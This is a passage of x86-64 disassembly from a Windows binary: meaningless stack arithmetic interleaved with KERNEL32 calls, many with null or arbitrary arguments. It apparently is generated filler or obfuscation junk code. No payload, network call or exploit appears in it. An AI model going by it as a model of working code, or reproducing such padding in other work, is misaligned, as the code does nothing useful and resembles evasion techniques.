mov dword [rsp + 0xb184], eax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb080], eax
mov rax, qword [rsp + 0x148f8]
mov eax, dword [rax]
mov dword [rsp + 0xb3dc], eax
mov rax, qword [rsp + 0x14b78]
mov rcx, qword [rsp + 0x143d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15318]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x146b8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xac40], eax
mov rax, qword [rsp + 0x150b0]
mov rcx, qword [rsp + 0x15318]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e90], eax
movzx eax, byte [rsp + 0x328]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x152d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1740]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14028eb92], ax
mov eax, dword [rsp + 0xa6ec]
mov dword [rsp + 0xb3e0], eax
mov rax, qword [rsp + 0x14e58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xadac]
sar eax, cl
mov dword [rsp + 0xa48c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x53c
mov rcx, qword [rsp + 0x14398]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa324], eax
mov eax, dword [rsp + 0xa79c]
mov rcx, qword [rsp + 0x145d0]
mov qword [rsp + 0x157d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x157d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa2a8], eax
lea rax, [rsp + 0xb114]
mov qword [rsp + 0x157d8], rax
movzx eax, word [rsp + 0x2bc8]
movzx ecx, word [rsp + 0x310c]
or eax, ecx
mov word [rsp + 0x2d3c], ax
movzx eax, byte [rsp + 0x713]
mov byte [rsp + 0x7b7], al
movsx eax, byte [rsp + 0x28d]
mov rcx, qword [rsp + 0x14d70]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x696], al
mov rax, qword [0x14028eba8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15638]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14e70]
mov word [rcx], ax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov dword [0x14028ea70], eax
mov eax, dword [rsp + 0x6fec]
mov dword [rsp + 0xb3e4], eax
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b90], ax
movzx eax, byte [rsp + 0x2d5]
mov rcx, qword [rsp + 0x15490]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x611], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2485
mov r9d, 0x36a6
mov r8d, 0x518f3425
mov edx, 1
mov rcx, qword [rsp + 0x152f0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xb3e8], eax
mov rax, qword [rsp + 0x141e8]
mov rcx, qword [rsp + 0x14e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x985c], eax
mov rax, qword [0x14028eea8]
mov rcx, qword [rsp + 0x14dd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x82a8], eax
mov rax, qword [rsp + 0x14970]
mov eax, dword [rax]
mov dword [rsp + 0xb3ec], eax
mov rax, qword [rsp + 0x14e08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa904]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0c4], eax
lea rax, [0x1402826e0]
mov qword [rsp + 0x157e0], rax
movzx eax, byte [rsp + 0x78c]
mov rcx, qword [rsp + 0x15480]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str.Gzn], al
mov rax, qword [rsp + 0x147f8]
mov ecx, dword [rsp + 0xb114]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xadd8], eax
mov rax, qword [rsp + 0x149a0]
mov ecx, dword [rsp + 0xa8c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa82c], eax
lea rax, [rsp + 0xae7c]
mov qword [rsp + 0x157e8], rax
mov eax, dword [0x14028ecec]
mov ecx, dword [rsp + 0xa5f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f14], eax
mov rax, qword [rsp + 0x14d60]
mov eax, dword [rax]
mov dword [rsp + 0xb3f0], eax
mov rax, qword [rsp + 0x14b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2df0]
cdq
idiv ecx
mov word [rsp + 0x3118], ax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x150d0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x561], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movzx eax, word [rsp + 0x2ca4]
mov rcx, qword [rsp + 0x14f78]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2cc4], ax
movzx eax, byte [rsp + 0x6a5]
movzx ecx, byte [rsp + 0x746]
shl eax, cl
mov byte [0x140281e3e], al
mov eax, dword [rsp + 0xac9c]
mov rcx, qword [rsp + 0x14dd8]
mov qword [rsp + 0x157f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x157f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x77ec], eax
mov eax, dword [rsp + 0xa72c]
mov dword [rsp + 0xb3f4], eax
mov rax, qword [rsp + 0x15480]
movzx eax, byte [rax]
movzx ecx, byte [0x140281e06]
sub eax, ecx
mov byte [rsp + 0x69c], al
movzx eax, word [rsp + 0x2e74]
mov word [rsp + 0x31dc], ax
mov rcx, qword [rsp + 0x15450]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14420]
mov rcx, qword [rsp + 0x15330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaca4], eax
mov rax, qword [rsp + 0x15170]
mov ecx, dword [rsp + 0xa624]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaecc], eax
lea rax, [rsp + 0xb38c]
mov qword [rsp + 0x157f8], rax
lea rcx, [rsp + 0x21ae0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x14580]
mov ecx, dword [rsp + 0xaa70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa680], eax
mov rax, qword [rsp + 0x151b8]
movzx eax, word [rax]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402829a8], ax
movzx eax, byte [rsp + 0x5c7]
movzx ecx, byte [rsp + 0x706]
sub eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x14f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb070]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaecc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x15580]
mov eax, dword [rax]
mov ecx, dword [0x14028ec14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa608], eax
movzx eax, word [rsp + 0x2c84]
mov word [rsp + 0x31e0], ax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14d70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14bc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x70f]
mov byte [rsp + 0x7b8], al
movzx eax, word [rsp + 0x1594]
mov rcx, qword [rsp + 0x15320]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2dfc], ax
lea rax, [rsp + 0x820c]
mov qword [rsp + 0x15800], rax
mov eax, dword [rsp + 0xa918]
mov ecx, dword [0x1402828a4]
sub ecx, eax
mov eax, ecx
mov dword [0x140282738], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xae9c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa908], eax
mov eax, dword [0x1402827f4]
movzx ecx, al
mov eax, dword [rsp + 0xa33c]
shl eax, cl
mov rcx, qword [rsp + 0x141c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8568], eax
mov rax, qword [rsp + 0x14808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33b]
sar eax, cl
mov byte [rsp + 0x6ad], al
mov rax, qword [0x14028eb58]
movzx eax, word [rax]
mov word [rsp + 0x31e4], ax
mov rax, qword [rsp + 0x14760]
mov rcx, qword [rsp + 0x14e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14b48]
mov rcx, qword [rsp + 0x15210]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4e8], eax
mov eax, dword [0x140282908]
mov dword [rsp + 0xb3f8], eax
mov eax, dword [rsp + 0xa9a4]
mov ecx, dword [rsp + 0xae6c]
add ecx, eax
mov eax, ecx
mov dword [0x1402826c0], eax
mov rax, qword [rsp + 0x15088]
movzx eax, byte [rax]
movzx ecx, byte [0x140281eca]
and eax, ecx
mov byte [rsp + 0x68d], al
mov rax, qword [rsp + 0x15280]
movzx eax, word [rax]
mov word [rsp + 0x31e8], ax
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x752]
add eax, ecx
mov byte [rsp + 0x725], al
movsx eax, word [rsp + 0x15d8]
movsx ecx, word [rsp + 0x2f98]
add eax, ecx
mov word [rsp + 0x2f50], ax
lea rax, [rsp + 0xaad4]
mov qword [rsp + 0x15808], rax
mov eax, dword [rsp + 0xa6b4]
mov ecx, dword [rsp + 0x8a28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xabd8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov edx, 0x6ce781
mov rcx, qword [rsp + 0x143b0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xb030], eax
movzx eax, byte [rsp + 0x6de]
mov rcx, qword [0x14028ead0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x109], al
movzx eax, word [rsp + 0x2d7c]
mov rcx, qword [rsp + 0x14cf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b28], ax
mov rax, qword [rsp + 0x155d8]
mov eax, dword [rax]
mov dword [0x14028ea6c], eax
mov rax, qword [rsp + 0x144d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9260]
shl eax, cl
mov rcx, qword [rsp + 0x156b8]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xaa38]
mov dword [rsp + 0xb3fc], eax
mov rax, qword [rsp + 0x15238]
mov ecx, dword [rsp + 0xa630]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb27c], eax
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
mov word [rsp + 0x31ec], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x14c10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15648]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1fc], al
mov r9d, 1
lea r8, [rsp + 0x15188]
mov rdx, qword [rsp + 0x15188]
mov rcx, qword [rsp + 0x15268]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa5e8], eax
mov rax, qword [rsp + 0x15090]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa844]
sar eax, cl
mov dword [rsp + 0x98f8], eax
mov eax, dword [rsp + 0xa54c]
mov ecx, dword [rsp + 0xadf0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15548]
mov dword [rcx], eax
mov rax, qword [rsp + 0x157d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb048]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6dc], eax
mov rax, qword [0x14028edd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa554]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ec98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6cc4]
mov dword [rsp + 0xb400], eax
lea rcx, [0x140284760]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x31f0], ax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x156d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x655], al
lea rax, [rsp + 0x18a0]
mov qword [rsp + 0x15810], rax
mov rax, qword [0x14028ea90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x153e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2124], ax
movzx eax, byte [rsp + 0x590]
movzx ecx, byte [rsp + 0x5cb]
and eax, ecx
mov byte [rsp + 0x764], al
mov rax, qword [rsp + 0x157d8]
mov eax, dword [rax]
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x15198]
mov ecx, dword [rsp + 0x9388]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ab4], eax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x150a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x28c], al
mov rcx, qword [rsp + 0x14bf0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa668], eax
movzx eax, word [0x14028ec40]
movzx ecx, word [rsp + 0x2d14]
sub eax, ecx
mov word [0x1402829ac], ax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x153f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad8c], eax
mov eax, dword [0x1402828f0]
mov rcx, qword [rsp + 0x14490]
mov qword [rsp + 0x15818], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15818]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa784], eax
mov rax, qword [rsp + 0x14838]
mov eax, dword [rax]
mov dword [rsp + 0xb408], eax
mov rax, qword [rsp + 0x154c8]
mov rcx, qword [rsp + 0x14ba8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaad4], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [rsp + 0x31f4], ax
movzx eax, byte [0x140281dbb]
movzx ecx, byte [rsp + 0x775]
sar eax, cl
mov byte [rsp + 0x624], al
mov eax, dword [rsp + 0x7ff4]
mov ecx, dword [rsp + 0xa184]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa460], eax
mov rax, qword [rsp + 0x14de8]
mov ecx, dword [rsp + 0x9d28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x77f0], eax
mov rcx, qword [rsp + 0x14518]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xb40c], eax
movsx eax, word [rsp + 0x2c40]
movsx ecx, word [rsp + 0x2be0]
add eax, ecx
mov word [0x14028eadc], ax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
movsx ecx, byte [0x140281e07]
sub eax, ecx
mov byte [rsp + 0x77a], al
mov dword [rsp + 0x20], 0x693
mov r9d, 0x548
mov r8d, 0x422
mov edx, 0x1947
mov rcx, qword [rsp + 0x14ea0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb1c0], eax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
mov byte [rsp + 0x7b9], al
movzx eax, word [rsp + 0x2c14]
movzx ecx, word [rsp + 0x2ed0]
sub eax, ecx
mov word [rsp + 0x2e10], ax
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
mov dword [rsp + 0xb410], eax
mov rax, qword [0x14028ec18]
mov rcx, qword [rsp + 0x14be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6f4], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x15198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa784], eax
mov rax, qword [rsp + 0x15090]
mov ecx, dword [0x1402828b4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x67ac], eax
mov rax, qword [rsp + 0x14438]
mov rcx, qword [rsp + 0x15698]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x94a4], eax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
mov byte [rsp + 0x7ba], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x14600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x195c]
add eax, ecx
mov word [0x1402829b0], ax
mov rax, qword [rsp + 0x14238]
mov ecx, dword [rsp + 0xb39c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14b50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x147a8]
mov qword [rsp + 0x15820], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15820]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaa48], eax
lea rax, [rsp + 0xaba0]
mov qword [rsp + 0x15828], rax
mov eax, dword [rsp + 0xae1c]
mov ecx, dword [rsp + 0xa6f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a58]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x76d]
mov byte [rsp + 0x7bb], al
mov rax, qword [rsp + 0x14dc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x30b4], ax
movsx eax, word [rsp + 0x29f4]
movsx ecx, word [rsp + 0x2d88]
sar eax, cl
mov word [rsp + 0x2fd4], ax
movzx eax, byte [rsp + 0x77d]
mov byte [rsp + 0x7bc], al
movzx ecx, word [rsp + 0x2f8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x31f8], ax
mov rax, qword [0x14028ee38]
mov eax, dword [rax]
mov dword [0x14028ea68], eax
mov rax, qword [rsp + 0x15078]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9690]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0ec], eax
movzx eax, byte [rsp + 0x331]
movzx ecx, byte [rsp + 0x729]
sub eax, ecx
mov byte [rsp + 0x584], al
movzx eax, word [rsp + 0x2fec]
mov rcx, qword [rsp + 0x14e78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3128], ax
mov eax, dword [rsp + 0xb100]
mov dword [rsp + 0xb414], eax
mov rax, qword [rsp + 0x155e0]
mov rcx, qword [0x14028eae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa430], eax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [rsp + 0xb090]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7fc], eax
lea rcx, [rsp + 0x226f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xaba0]
mov dword [rsp + 0xb418], eax
movzx eax, byte [rsp + 0x140]
movzx ecx, byte [rsp + 0x5fe]
add eax, ecx
mov rcx, qword [rsp + 0x14a20]
mov byte [rcx], al
movzx eax, word [rsp + 0x1708]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14028eae8], ax
mov rcx, qword [rsp + 0x14598]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xaf6c], eax
mov rax, qword [rsp + 0x14d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa24c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8584], eax
mov eax, dword [rsp + 0xa570]
mov ecx, dword [0x140282798]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15548]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb2fc]
movzx ecx, al
mov eax, dword [rsp + 0x74a0]
sar eax, cl
mov dword [rsp + 0xb0a8], eax
mov eax, dword [rsp + 0x68c8]
mov dword [rsp + 0xb41c], eax
mov rax, qword [rsp + 0x15630]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaef0]
shl eax, cl
mov rcx, qword [rsp + 0x140c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147f0]
movzx eax, word [rax]
mov word [rsp + 0x31fc], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movsx eax, byte [rsp + 0x6dd]
mov rcx, qword [rsp + 0x14db8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x714], al
movzx eax, byte [rsp + 0x69c]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13f58]
mov byte [rcx], al
movzx eax, word [rsp + 0x265c]
mov rcx, qword [rsp + 0x15588]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140282814], ax
lea rax, [0x14028ebf0]
mov qword [rsp + 0x15830], rax
mov eax, dword [rsp + 0x65ac]
mov ecx, dword [rsp + 0xa88c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x24b4], ax
mov rax, qword [0x14028edf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x638]
sub eax, ecx
mov byte [rsp + 0x4df], al
lea rcx, [rsp + 0x21bd0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x15108]
mov ecx, dword [rsp + 0x6558]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa828], eax
mov eax, dword [rsp + 0x6480]
mov dword [rsp + 0xb420], eax
mov rax, qword [0x14028ebc8]
mov ecx, dword [rsp + 0x9b30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7bf4], eax
mov rax, qword [rsp + 0x15300]
mov eax, dword [rax]
mov dword [rsp + 0xb424], eax
movzx eax, byte [rsp + 0x705]
movzx ecx, byte [0x14028ed22]
add eax, ecx
mov byte [0x140281edb], al
mov rax, qword [rsp + 0x151a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e48], ax
mov rax, qword [rsp + 0x151a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x97d0], eax
mov rax, qword [rsp + 0x14cb8]
mov ecx, dword [rsp + 0xab14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x73a4], eax
mov rax, qword [rsp + 0x156d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x750], al
mov rax, qword [rsp + 0x155a8]
movzx eax, word [rax]
mov word [rsp + 0x3200], ax
mov rax, qword [0x14028ed60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x631]
sar eax, cl
mov rcx, qword [rsp + 0x14890]
mov byte [rcx], al
lea rax, [rsp + 0x30d8]
mov qword [rsp + 0x15838], rax
mov rax, qword [rsp + 0x15830]
mov rcx, qword [rsp + 0x15388]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa594], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14028276c]
shl eax, cl
mov dword [0x1402829b4], eax
mov eax, dword [rsp + 0x737c]
mov ecx, dword [rsp + 0xb120]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x706c], eax
lea rax, [0x1402829a4]
mov qword [rsp + 0x15840], rax
mov rax, qword [rsp + 0x156d8]
mov rcx, qword [rsp + 0x15290]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa900], eax
mov rax, qword [rsp + 0x154f8]
movzx eax, word [rax]
mov word [rsp + 0x3204], ax
movzx eax, byte [rsp + 0x68a]
mov rcx, qword [0x14028ed28]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15578]
mov byte [rcx], al
mov rax, qword [rsp + 0x145d0]
mov ecx, dword [rsp + 0xa38c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa5a8], eax
lea rax, [rsp + 0xa7a4]
mov qword [rsp + 0x15848], rax
mov rax, qword [rsp + 0x14288]
mov rcx, qword [0x14028eb78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7144], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0xa6c8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402826b0], eax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
mov byte [rsp + 0x7bd], al
mov rax, qword [rsp + 0x15280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2dd4], ax
movsx eax, word [rsp + 0x182c]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28a4], ax
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x66f], al
mov rax, qword [rsp + 0x15418]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8188], eax
lea rax, [rsp + 0xb118]
mov qword [rsp + 0x15850], rax
mov rax, qword [rsp + 0x15750]
movzx eax, byte [rax]
mov rcx, qword [0x14028ed18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x71e], al
movzx eax, word [rsp + 0x3058]
mov word [rsp + 0x3208], ax
lea rax, [rsp + 0xa5bc]
mov qword [0x14028ea60], rax
mov rax, qword [rsp + 0x15370]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb234]
sar eax, cl
mov dword [rsp + 0xaff8], eax
mov eax, dword [rsp + 0xb1dc]
mov ecx, dword [rsp + 0x89e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xab20], eax
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
mov dword [rsp + 0xb428], eax
mov rax, qword [rsp + 0x14e40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7bd]
xor eax, ecx
mov byte [rsp + 0x705], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15320]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14ac], ax
mov rax, qword [rsp + 0x14c20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a28], eax
mov rax, qword [rsp + 0x14e08]
mov ecx, dword [0x14028298c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8d0], eax
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
mov dword [rsp + 0xb42c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xaa18], eax
mov rax, qword [rsp + 0x14da8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa968]
add ecx, eax
mov eax, ecx
mov dword [0x1402828f0], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov eax, dword [rsp + 0xa9c0]
mov ecx, dword [rsp + 0xa8d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb090], eax
lea rax, [rsp + 0x1b34]
mov qword [rsp + 0x15858], rax
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
